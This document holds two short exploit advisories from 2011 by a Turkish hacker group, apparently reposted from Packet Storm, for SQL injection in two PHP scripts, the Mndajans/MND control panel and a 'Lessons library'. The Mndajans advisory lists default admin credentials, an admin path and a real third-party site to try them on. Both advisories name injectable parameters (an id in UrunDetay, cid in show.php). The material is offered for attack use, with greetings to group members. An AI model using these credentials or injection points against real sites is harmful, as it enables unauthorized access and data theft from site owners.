Mndajans Script SQL Injection

# Exploit Title: Mndajans Script SQL Injection
# Date: 29.10.2011 - 16.13

# Author: Mr.PaPaRoSSe

# Tested On: BackTrack 5 - Win7
# Platform: Php

-------------------------------------------------------------

Scripts are mndbilgisayar
-------------------------------
default user : mndajans
default pass : servis
Admin panel : /admin/

Default User & Pass & Admin demo
http://alpdizayn.com.tr/admin/
--------------------------------
MND Kontrol PANEL
SQL Ýnjection

UrunDetay&id=4' SQL

-------------------------------------------------------------
Contact: paparosse.blogspot.com
Greetz: Http://DarkDevilz.in/
-------------------------------------------------------------

3spi0n - ALEXTRAX - sanTiq0
Deathless - ZyX - Tarxes
53rh4+ - bLaCk_uMo - PeRs
syntaX - Mavi_Karalik - DarkCOD3R
x-Leader - Cyborg - Y2J

[And DD'z Family]

[DarkDevilz - Defence And Destruction Group'z - TURKEY]

http://packetstormsecurity.org/files/106419/mndajans-sql.txt

Lessons library sql | p4

Bildiğiniz gibi bulduğum açıkları paylaşmıyordum.Paylaşmadığım içinde artık yavaş yavaş hiç açık aramamaya başladım.En son bulduğum açık 2,5 ay öndesine ayit.Bende 1-2 tane bulup yayınlayam dedim.

# Exploit Title: Lessons library sql injection

# Date: 06.10.2011 - 18.53

# Author: Mr.PaPaRoSSe

# Download Script: http://up.tsmim.com/uploads/files/tsmim-e47615d4bd.zip

# Tested On: BackTrack 5 - Windows xp sp3

# Platform: Php

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

Vunl file : show.php

Exploit:

http://localhost/droos/show.php?cid=2&page=Sql Ä°njection

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

# We attempted to work, you can not imagine.

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

# Contact: paparosse.blogspot.com

# Greetz: Http://DarkDevilz.in/

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

Mr.PaPaRoSSe Black_Umo ALEXTRAX Brs_BaRoN ZyX x-Leader

L4NETLY GrayTendriL DARKCOD3R Santiq0 53rh4t PerS

[And DD'z Family]

[DarkDevilz - Defence And Destruction Group'z - TURKEY]

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

packetstorm
http://packetstormsecurity.org/files/view/105599/tsmim-sql.txt